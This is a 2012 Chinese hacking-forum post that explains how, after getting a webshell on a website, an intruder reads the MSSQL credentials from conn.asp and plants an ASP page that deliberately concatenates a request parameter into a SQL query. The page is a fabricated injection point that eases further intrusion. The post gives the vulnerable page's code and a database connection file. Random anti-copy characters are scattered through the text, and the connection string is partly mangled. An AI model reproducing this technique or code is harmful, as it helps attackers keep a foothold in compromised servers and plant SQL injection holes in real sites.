找回密码
 立即注册
查看: 2671|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵# x7 D1 W1 J8 J1 T" t) i) u0 N

" b0 T9 d" g' ]4 Q今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息+ T. ^% S2 d5 o- n5 g0 @

: L" f9 Z; Y- e" `! U1 _6 I- u这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
, z! H5 p* z" S! V1 L  M- \  Z. F/ ?6 x" ?$ [$ b
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
; ~' ~, Q# Z1 P: H- N
6 ]5 Z4 H, A: [! Y5 e" y9 v密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
: [3 k# R/ F1 x! t6 }# r' z% U" Q, R' y) O$ C$ N- [4 N1 x
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:& ~$ Y+ r, R* w2 I3 n$ s% o
6 ^8 }  M# J* d  t: ~; l
程序代码
! L0 M- h  T; f/ P* ^  F# B<!--#include file="xx.asp"-->
& F5 U+ a. n$ a2 k0 P5 v5 z8 p<%
* Q+ E" p* ]' {; V. x, d  e  Lset rs=server.createobject("ADODB.recordset")
5 g& T$ K# s$ U" J9 A" did = request("id"), Z7 c3 S  z# B/ o  J( C7 D
strSQL = "select * from admin where id=" & id
- Q0 @" J6 _, @1 @* w, O+ |1 rrs.open strSQL,conn,1,3; H* C6 ^; [1 i
rs.close0 H3 O1 i" ?) F6 G
%>( [0 \! h! S* d# l9 N6 q" f# ^9 c
6 a; d# s6 v. }: Q5 n' a0 ?) d5 C
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在! P9 O. N2 y" g! ?3 A

: L2 V. Y/ b! w+ \) }1 b# j. X你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!4 m/ S& _: A5 I9 ]2 }- H5 k

3 z  `  `  j9 z) D然后就要构造一个连接数据库的文件了,代码如下:! a) c* N+ T' {" A  S
程序代码
! @( Y! c* A' ]- P<%        
7 h& X5 o% E4 ^1 l" `. PstrSQLServerName = "000.000.000.000"     '服务器名称或地址7 t  x0 i' J1 K9 T
strSQLDBUserName = "sqlname"         '数据库帐号; V9 W) y& v' M2 K- ?" v8 h" O
strSQLDBPassword = "sqlpass"         '数据库密码
- j  x+ e& Q. I6 b- c5 KstrSQLDBName = "sqldataname"           '数据库名称% u2 M0 B" ]2 C$ x1 R
Set conn = Server.CreateObject("ADODB.Connection")
2 Y. w) J, p# bstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"4 R# Z  k# c; b
conn.open strCon' N3 B$ H8 m/ k+ I* V) J
%>! U7 n: u2 l' [
2 s# X$ G5 b9 {
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,, |, I8 M( s! K( ], d0 s
6 Q( p2 h- B  f$ o
就这样,正常情况下,就OK了,伪造成功……
/ f; Y* V- k" ^3 C1 G4 f. i9 N2 j$ c# g( ~# @, Z' C9 @7 l
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表